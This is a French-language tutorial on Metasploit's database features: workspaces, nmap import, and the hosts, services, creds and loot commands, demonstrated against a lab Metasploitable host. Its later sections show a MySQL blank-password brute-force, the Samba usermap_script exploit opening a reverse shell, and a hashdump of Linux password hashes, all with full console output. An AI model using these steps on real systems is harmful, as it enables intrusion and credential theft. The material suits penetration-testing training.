Utilisation de la base de données dans Metasploit Et de Nessus Scan

Configurez notre base de données Metasploit

Rappel : Si vous exécuter Métasploit via le raccourcis de kali



La base de données est déjà configurée.

Si non dans Kali, vous devrez démarrer le serveur postgresql avant d'utiliser la base de données.

```
root@kali:~# systemctl start postgresql
root@kali:~#
```

Après le démarrage de postgresql, vous devez créer et initialiser la base de données msf avec msfdb init

```
root@kali:~# msfdb init
Creating database user 'msf'
Saisir le mot de passe pour le nouveau rôle :
Le saisir de nouveau :
Creating databases 'msf' and 'msf_test'
Creating configuration file in /usr/share/metasploit-framework/config/database.yml
Creating initial database schema
```

Utiliser des espaces de travail dans Metasploit

Lorsque nous chargeons msfconsole et que nous exécutons 'db_status', nous pouvons confirmer que Metasploit est correctement connecté à la base de données.

```
msf > db_status
[*] postgresql connected to msf
msf >
```

Voyant cette capacité est un moyen de garder une trace de nos activités et des analyses dans l'ordre. Il est impératif que nous commencions du bon pied. Une fois connecté à la base de données, nous pouvons commencer à organiser nos différents mouvements en utilisant ce qu'on appelle des « espaces de travail ». Cela nous donne la possibilité d'enregistrer différents scans à partir de différents emplacements / réseaux / sous-réseaux par exemple.

L'émission de la commande **'workspace'** à partir de **msfconsole** affiche les espaces de travail actuellement sélectionnés. L'espace de travail **'default'** est sélectionné lors de la connexion à la base de données, représentée par * à côté de son nom.

```
<u>msf</u> > workspace
* default
<u>msf</u> >
```

Créer et supprimer un espace de travail utilise simplement '-a' ou '-d'suivi du nom à l'invite msfconsole.

```
msf > workspace -a lab1
[*] Added workspace: lab1
msf > workspace -a lab2
[*] Added workspace: lab2
msf > workspace
  default
  lab1
* lab2
msf > workspace -d lab1
[*] Deleted workspace: lab1
msf > workspace
  default
* lab2
msf > workspace
```

C'est aussi simple que d'utiliser la même commande et l'ajout du commutateur '-h' nous fournira les autres capacités de la commande.

```
msf > workspace -h
Usage:
   workspace
                               List workspaces
   workspace -v
                               List workspaces verbosely
   workspace [name]
                               Switch workspace
   workspace -a [name] ...
                               Add workspace(s)
   workspace -d [name] ...
                               Delete workspace(s)
                               Delete all workspaces
   workspace -D
   workspace -r <old> <new>
                               Rename workspace
                               Show this help information
   workspace -h
msf >
```

À partir de maintenant, toute analyse ou importation à partir d'applications tierces sera enregistrée dans cet espace de travail.

Maintenant que nous sommes connectés à notre base de données et à notre configuration d'espace de travail, regardons le remplissage avec quelques données. Nous allons d'abord examiner les différentes commandes 'db_' disponibles à l'aide de la commande 'help' de msfconsole.

```
Database Backend Commands
  Command
          Description
  db_connect
                Connect to an existing database
  db nmap
                Executes nmap and records the output automatically
  db_rebuild_cache Rebuilds the database-stored module cache
  db status
                Show the current database status
                List all hosts in the database
  hosts
               List all loot in the database
  loot
  notes
                List all notes in the database
                List all services in the database
  services
  vulns
                List all vulnerabilities in the database
                Switch between database workspaces
  workspace
```

Importation et numérisation

Nous pouvons le faire de plusieurs façons, en analysant un hôte ou un réseau directement à partir de la console ou en important un fichier à partir d'une analyse précédente. Commençons par importer un scan nmap de l'hôte 'metasploitable 2'. Ceci est fait en utilisant 'db import' suivi du chemin vers notre fichier.

```
root@kali:~# nmap 192.168.49.129 -oX scanNmap
msf > db import /root/scanNmap
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.8.1'
[*] Importing host 192.168.49.129
[*] Successfully imported /root/scanNmap
msf > hosts
Hosts
____
                       name os name os flavor os sp purpose info comme
address
               mac
nts
192.168.49.129 00:0c:29:fa:dd:2a
                                       Unknown
                                                                  device
msf >
```

Une fois terminé, nous pouvons confirmer l'importation en émettant la commande 'hosts'. Cela affichera tous les hôtes stockés dans notre espace de travail actuel. Nous pouvons également analyser un hôte directement à partir de la console en utilisant la commande 'db_nmap'. Les résultats de l'analyse seront enregistrés dans notre base de données actuelle. La commande fonctionne de la même manière que la version en ligne de commande de 'nmap'

```
msf > db nmap -A 192.168.49.130
   Nmap: Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-01 21:18 CET
[*] Nmap: Nmap scan report for 192.168.49.130
[*] Nmap: Host is up (0.00029s latency).
[*] Nmap: Not shown: 997 closed ports
[*] Nmap: PORT
                  STATE SERVICE VERSION
                                 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol
[*] Nmap: 22/tcp open ssh
2.0)
[*]
            ssh-hostkey:
   Nmap:
              2048 05:63:f1:12:8d:de:7a:15:e1:fa:af:b4:e0:ce:74:6d (RSA)
   Nmap:
              256 ee:b9:c6:3d:e7:4e:b5:b8:a7:9f:b0:ff:3d:41:37:76 (ECDSA)
```

```
msf > hosts
Hosts
address
                                                  os flavor
                                         os name
                                                              os sp
                                                                     purpose
nts
192.168.49.129 00:0c:29:fa:dd:2a
                                         Unknown
                                                                     device
192.168.49.130
               00:0c:29:53:54:e9
                                          Linux
                                                              3.X
                                                                     server
msf >
```

Sauvegarde de nos données

Exporter nos données en dehors de l'environnement Metasploit est très simple. En utilisant la commande 'db_export', toutes les informations collectées peuvent être sauvegardées dans un fichier XML. Ce format peut être facilement utilisé et manipulé plus tard à des fins de reporting. La commande a 2 sorties, le format 'xml' qui exportera toutes les informations actuellement stockées dans notre espace de travail actif, et le format 'pwdump' qui exporte tout ce qui concerne les informations d'identification utilisées / collectées.

```
msf > db_export -f xml /root/exporte.xml
[*] Starting export of workspace lab2 to /root/exporte.xml [ xml ]...
[*] >> Starting export of report
[*] >> Starting export of hosts
[*] >> Starting export of events
[*] >> Starting export of services
[*] >> Starting export of web sites
[*] >> Starting export of web pages
[*] >> Starting export of web forms
[*] >> Starting export of web vulns
[*] >> Starting export of module details
```

Utilisation de la commande Hosts

Maintenant que nous pouvons importer et exporter des informations vers et depuis notre base de données, voyons comment nous pouvons utiliser ces informations dans msfconsole. De nombreuses commandes sont disponibles pour rechercher des informations spécifiques stockées dans notre base de données. Héberge les noms, les adresses, les services découverts, etc. Nous pouvons même utiliser les données résultantes pour remplir les paramètres du module tels que RHOSTS. Nous verrons comment cela se fera un peu plus tard.

La commande 'hosts' a été utilisée plus tôt pour confirmer la présence de données dans notre base de données. Regardons les différentes options disponibles et voyons comment nous l'utilisons pour nous fournir des informations rapides et utiles. L'émission de la commande avec '-h' affichera le menu d'aide.

```
msf > hosts -h
Usage: hosts [ options ] [addr1 addr2 ...]
OPTIONS:
  -a,--add
                    Add the hosts instead of searching
  -d,--delete
                    Delete the hosts instead of searching
  -c <col1,col2>
                    Only show the given columns (see list below)
  -C <col1,col2>
                    Only show the given columns until the next restart (see list below)
                    Show this help information
  -h,--help
  -u,--up
                    Only show hosts which are up
  -o <file>
                    Send output to a file in csv format
  -0 <column>
                    Order rows by specified column number
  -R, -- rhosts
                    Set RHOSTS from the results of the search
                    Search string to filter by
  -S, -- search
  -i,--info
                    Change the info of a host
  -n, --name
                    Change the name of a host
                    Change the comment of a host
  -m,--comment
  -t,--tag
                    Add or specify a tag to a range of hosts
Available columns: address, arch, comm, comments, created at, cred count, detected arch
```

Nous allons commencer par demander à la commande 'hosts' d'afficher uniquement l'adresse IP et le type de système d'exploitation en utilisant le commutateur '-c'.

Configuration de modules

Une autre fonctionnalité intéressante disponible pour nous, est la possibilité de rechercher toutes nos entrées pour quelque chose de spécifique. Imaginez que nous voulions trouver seulement les machines basées sur Linux de notre analyse. Pour cela, nous utiliserions l'option '-S'. Cette option peut être combinée avec notre exemple précédent et aider à affiner nos résultats.

En utilisant la sortie de notre exemple précédent, nous l'introduisons dans le module auxiliaire de scan 'tcp'.

```
msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
                Current Setting Required Description
   Name
   CONCURRENCY
                                           The number of concurrent ports to check per h
                                 yes
ost
                                           The delay between connections, per thread, in
   DELAY
                0
                                 yes
 milliseconds
                0
                                 yes
                                           The delay jitter factor (maximum value by whi
   JITTER
ch to +/- DELAY) in milliseconds.
                                           Ports to scan (e.g. 22-25,80,110-900)
   PORTS
                1-10000
                                 ves
   RHOSTS
                                           The target address range or CIDR identifier
                                 yes
                                 yes
   THREADS
                                           The number of concurrent threads
   TIMEOUT
                                 yes
                                           The socket connect timeout in milliseconds
                1000
msf auxiliary(scanner/portscan/tcp) >
```

Nous pouvons voir par défaut, rien n'est défini dans 'RHOSTS', nous allons ajouter le commutateur '-R' à la commande hosts et exécuter le module. Espérons qu'il fonctionnera et analysera notre cible sans aucun problème.

Bien sûr, cela fonctionne également si nos résultats contiennent plus d'une adresse.

```
msf auxiliary(scanner/portscan/tcp) > hosts -R
Hosts
address
               mac
                                 name
                                       os name os flavor os sp purpose
                                                                         info comme
nts
               00:0c:29:fa:dd:2a
192.168.49.129
                                       Unknown
                                                                 device
192.168.49.130 00:0c:29:53:54:e9
                                       Linux
                                                          3.X
                                                                 server
RHOSTS => 192.168.49.129 192.168.49.130
```

```
msf auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
   Name
                Current Setting
                                                Required Description
   CONCURRENCY 10
                                                          The number of concurrent ports
                                                yes
to check per host
   DELAY
                                                          The delay between connections,
                                                yes
per thread, in milliseconds
   JITTER
                0
                                                          The delay jitter factor (maximu
                                                yes
m value by which to +/- DELAY) in milliseconds.
                1-10000
                                                yes
                                                           Ports to scan (e.g. 22-25,80,11
   PORTS
0-900)
   RHOSTS
                192.168.49.129 192.168.49.130
                                                          The target address range or CID
                                                yes
  identifier
   THREADS
                                                          The number of concurrent thread
                                                yes
   TIMEOUT
                1000
                                                          The socket connect timeout in m
                                                yes
illiseconds
```

Vous pouvez voir à quel point cela peut être utile si notre base de données contenait des centaines d'entrées. Nous pouvons rechercher uniquement les machines Windows, puis définir très rapidement l'option RHOSTS du module auxiliaire smb_version. Le commutateur RHOSTS est disponible dans presque toutes les commandes qui interagissent avec la base de données.

Services

Une autre façon de rechercher la base de données est d'utiliser la commande 'services'. Comme les exemples précédents, nous pouvons extraire des informations très spécifiques avec peu d'effort.

```
msf auxiliary(scanner/portscan/tcp) > back
msf > services -h
Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <f
ilename>] [addr1 addr2 ...]
  -a,--add
                    Add the services instead of searching
  -d,--delete
                   Delete the services instead of searching
  -c <col1,col2>
                   Only show the given columns
                   Show this help information
  -h,--help
  -s <name1,name2> Search for a list of service names
  -p <port1,port2> Search for a list of ports
  -r col>
                   Only show [tcp|udp] services
  -u,--up
                   Only show services which are up
  -o <file>
                   Send output to a file in csv format
  -0 <column>
                   Order rows by specified column number
                    Set RHOSTS from the results of the search
  -R,--rhosts
                   Search string to filter by
  -S.--search
Available columns: created_at, info, name, port, proto, state, updated_at
```

De la même manière que la commande hosts, nous pouvons spécifier les champs à afficher. Couplé avec le commutateur '-S', nous pouvons également rechercher un service contenant une chaîne particulière.

```
<u>msf</u> > services -c name, info 192.168.49.129
Services
host
                                info
                 name
192.168.49.129
                 ftp
192.168.49.129
                 ssh
192.168.49.129
                 telnet
192.168.49.129
                 smtp
192.168.49.129
                 domain
192.168.49.129
                 http
192.168.49.129
                 rpcbind
192.168.49.129
                 netbios-ssn
192.168.49.129
                 microsoft-ds
192.168.49.129
                 exec
192.168.49.129
                 login
192 168 49 129
                 shell
```

Ici, nous recherchons tous les hôtes contenus dans notre base de données avec un nom de service contenant la chaîne 'http'.

Les combinaisons pour la recherche sont énormes. Nous pouvons utiliser des ports spécifiques ou des plages de ports. Nom de service complet ou partiel lors de l'utilisation des commutateurs '-s' ou '-S'. Pour tous les hôtes ou juste un petit nombre ... La liste s'allonge encore et encore. Voici quelques exemples, mais vous devrez peut-être expérimenter avec ces fonctionnalités afin d'obtenir ce que vous voulez et avez besoin de vos recherches.

```
msf > services -c name,info -p 445
Services
 _____
                                  info
host
                  name
192.168.49.129 microsoft-ds
<u>msf</u> > services -c port,proto,state -p 70-81
Services
THE REAL PROPERTY.
host
                  port
                        proto
                                state
192.168.49.129
                  80
                         tcp
                                open
192.168.49.130
                         tcp
                                open
```

```
<u>msf</u> > services -s http -c port 192.168.49.129
Services
port
host
192.168.49.129
               80
msf > services -S irc
Services
_____
host
                port proto
                            name
                                  state
                                         info
192.168.49.129 6667 tcp
                             irc
                                   open
```

CSV Export

Les commandes hosts et services nous permettent d'enregistrer les résultats de la requête dans un fichier. Le format de fichier est une valeur séparée par des virgules ou CSV. Suivi par le « -o » avec le chemin et le nom de fichier, les informations qui ont été affichées sur l'écran à ce stade seront maintenant enregistrées sur le disque.

```
msf > services -s http -c port 192.168.49.129 -o /root/http.csv
[*] Wrote services to /root/http.csv
msf > services -S Linux -o /root/linux.csv
[*] Wrote services to /root/linux.csv
msf > cat /root/http.csv
[*] exec: cat /root/http.csv
host, port
"192.168.49.129","80"
msf > cat /root/linux.csv
[*] exec: cat /root/linux.csv
host,port,proto,name,state,info
"192.168.49.130","22","tcp","ssh","open","OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 Ubuntu
Linux; protocol 2.0"
"192.168.49.130","80","tcp","http","open","Apache httpd 2.4.18 (Ubuntu)"
"192.168.49.130","443","tcp","ssl/http","open","Apache httpd 2.4.18 (Ubuntu)"
msf >
```

Creds

La commande 'creds' est utilisée pour gérer les informations d'identification trouvées et utilisées pour les cibles dans notre base de données. L'exécution de cette commande sans aucune option affichera les informations d'identification actuellement sauvegardées.

```
msf > creds
Credentials
=======
out.nmap
host origin service public private realm private_type
msf >
```

Comme avec la commande 'db_nmap', les résultats positifs relatifs aux informations d'identification seront automatiquement enregistrés dans notre espace de travail actif. Lançons le module auxiliaire 'mysql_login' et voyons ce qui se passe quand Metasploit scanne notre serveur

```
msf auxiliary(scanner/mysql/mysql_login) > hosts -R
Hosts
____
                                   name os name os flavor os sp purpose info comments
address
                mac
192.168.49.129 00:0c:29:fa:dd:2a
                                        Unknown
                                                                   device
192.168.49.130 00:0c:29:53:54:e9
                                                            3.X
                                        Linux
                                                                   server
RHOSTS => 192.168.49.129 192.168.49.130
msf auxiliary(scanner/mysql/mysql_login) > show options
Module options (auxiliary/scanner/mysql/mysql_login):
   Name
                     Current Setting
                                                    Required Description
   BLANK PASSWORDS
                     false
                                                             Try blank passwords for all users
                                                    no
   BRUTEFORCE SPEED
                                                             How fast to bruteforce
                                                                                     from 0 to
```

```
<u>msf</u> auxiliary(scanner/mysql/mysql_login) > set USERNAME root
USERNAME => root
msf auxiliary(scanner/mysql/mysql_login) > set BLANK_PASSWORDS true
BLANK PASSWORDS => true
msf auxiliary(scanner/mysql/mysql_login) > run
[+] 192.168.49.129:3306
                       - 192.168.49.129:3306 - Found remote MySQL version 5.0.51a
    192.168.49.129:3306
                        - 192.168.49.129:3306 - LOGIN FAILED: root:msfadmin (Incorrect: Access denied
for user 'root'@'192.168.49.128' (using password: YES))
[+] 192.168.49.129:3306
                         - 192.168.49.129:3306 - Success: 'root:'
[*] Scanned 1 of 2 hosts (50% complete)
   192.168.49.130:3306
                        - 192.168.49.130:3306 - Unable to connect: The connection was refused by the r
emote host (192.168.49.130:3306).
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/mysql/mysql_login) > creds
Credentials
host
               origin
                              service
                                                public private
                                                                realm private type
root
                                                                       Blank password
msf auxiliary(scanner/mysql/mysql_login) >
```

Nous pouvons voir que le module était capable de se connecter à notre serveur mysql, et à cause de cela, Metasploit a sauvegardé automatiquement les informations d'identification dans notre base de données pour référence future.

Pendant la post-exploitation d'un hôte, la collecte des informations d'identification de l'utilisateur est une activité importante afin de pénétrer davantage un réseau cible. Lorsque nous recueillons des informations d'identification, nous pouvons les ajouter à notre base de données avec la commande 'creds add'.

```
msf auxiliary(scanner/m
                              sql login) > creds add user:Administrateur ntlm:7bf4f254b222bb24aad3b435b5
1404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
msf auxiliary(scanner/mysql/mysql_login) > creds
Credentials
host
                origin
                                service
                                                  public
                                                                 private
                             realm private_type
                                                                 7bf4f254b222bb24aad3b435b51404ee:2892d
                                                  Administrateur
26cdf84d7a70e2eb3b9f05c425e
                                   NTLM hash
192.168.49.129 192.168.49.129
                               3306/tcp (mysql)
                                                 root
                                   Blank password
```

Loot

Une fois que vous avez compromis un système (ou trois), l'un des objectifs peut être de récupérer des hachages de hachage. À partir d'un système Windows ou * nix Dans le cas d'un vidage de hash réussi, cette information sera stockée dans notre base de données. Nous pouvons voir ces dumps en utilisant la commande 'loot'. Comme pour presque toutes les commandes, l'ajout du commutateur '-h' affichera un peu plus d'informations.

```
msf auxiliary(scanner/mysql/mysql_login) > back
msf > loot -h
Usage: loot <options>
 Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]
  Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]
  Del: loot -d [addr1 addr2 ...]
  -a,--add
                    Add loot to the list of addresses, instead of listing
  -d,--delete
                    Delete *all* loot matching host and type
  -f,--file
                    File with contents of the loot to add
  -i,--info
                    Info of the loot to add
  -t <type1, type2> Search for a list of types
  -h,--help
                    Show this help information
  -S,--search
                    Search string to filter by
msf >
```

```
msf > use exploit/multi/samba/usermap script
msf exploit(multi/samba/usermap_script) > set RHOST 192.168.49.129
RHOST => 192.168.49.129
msf exploit(multi/samba/usermap_script) > set LHOST 192.168.49.128
LHOST => 192.168.49.128
msf exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP double handler on 192.168.49.128:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo nGxSJ9Qi5KVltfzl;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "nGxSJ9Qi5KVltfzl\r\n"
[*] Matching...
[*] A is input..
[*] Command shell session 1 opened (192.168.49.128:4444 -> 192.168.49.129:53451) at 2018-01-01 22:24:02
+0100
^Z
Background session 1? [y/N] y
msf exploit(multi/samba/usermap_script) >
```

```
msf > use post/linux/gather/hashdump
msf post(linux/gather/hashdump) > show options
Module options (post/linux/gather/hashdump):
            Current Setting Required Description
   SESSION
                             ves
                                       The session to run this module on.
msf post(linux/gather/hashdump) > set SESSION 1
SESSION => 1
msf post(linux/gather/hashdump) > run
[!] SESSION may not be compatible with this module.
[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BP0t$Miyc3Up0zQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
[+] postgres:$1$Rw35ik.x$MgQgZUu05pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:
/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
[+] service:$1$kR3ue7JZ$7GxELDupr50hp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /root/.msf4/loot/20180101222622 lab2 192.168.49.129 linux.hashes 660302.tx
[*] Post module execution completed
msf post(linux/gather/hashdump) >
```

```
msf post(linux/gather/hashdump) > loot
Loot
host
                  service type
                                              name
                                                                         content
                                                                                       info
  path
                             linux.hashes unshadowed passwd.pwd text/plain Linux Unshadowed Password File
192.168.49.129
  /root/.msf4/loot/20180101222622_lab2_192.168.49.129_linux.hashes_660302.txt
192.168.49.129
                             linux.passwd passwd.tx
                                                                         text/plain Linux Passwd File
  /root/.msf4/loot/20180101222621_lab2_192.168.49.129_linux.passwd_908726.txt
92.168.49.129 linux.shadow shadow.tx text/plain Linux Password Shadow File
  2.168.49.129 linux.shadow shadow.tx text/plain Linu
/root/.msf4/loot/20180101222621_lab2_192.168.49.129_linux.shadow_226725.txt
192.168.49.129
msf post(linux/gather/hashdump) >
```